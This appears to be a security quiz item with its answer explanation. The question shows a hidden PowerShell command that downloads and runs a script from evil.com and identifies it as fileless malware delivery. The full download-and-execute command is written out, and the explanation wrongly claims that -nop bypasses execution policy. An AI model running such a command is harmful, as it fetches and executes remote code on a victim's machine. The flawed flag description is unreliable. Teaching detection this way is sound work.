An organization implements endpoint detection with process command-line logging. An analyst sees the following: powershell.exe -w hidden -nop -c IEX(New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1'). What technique does this represent?
Select an answer to reveal the explanation.
Short Explanation and Infographic
Here's the deal — b is correct because this command uses -w hidden to hide the window, -nop to bypass execution policy via no-profile loading, and IEX with DownloadString to fetch and immediately execute a remote PowerShell script entirely in memory without writing to disk — classic fileless malware delivery (MITRE T1059.001, T1105). A is wrong because Windows Update uses the Windows Update Agent (wuauclt.exe or Windows Update service), not direct PowerShell IEX downloads from custom URLs.
Full explanation below image
Full Explanation
B is correct because this command uses -w hidden to hide the window, -nop to bypass execution policy via no-profile loading, and IEX with DownloadString to fetch and immediately execute a remote PowerShell script entirely in memory without writing to disk — classic fileless malware delivery (MITRE T1059.001, T1105). A is wrong because Windows Update uses the Windows Update Agent (wuauclt.exe or Windows Update service), not direct PowerShell IEX downloads from custom URLs. C is wrong because scheduled maintenance tasks are configured with identifiable names and run legitimate Microsoft cmdlets, not hidden IEX downloads from external URLs. D is wrong because PowerShell remoting uses Enter-PSSession or Invoke-Command with -ComputerName, not DownloadString IEX.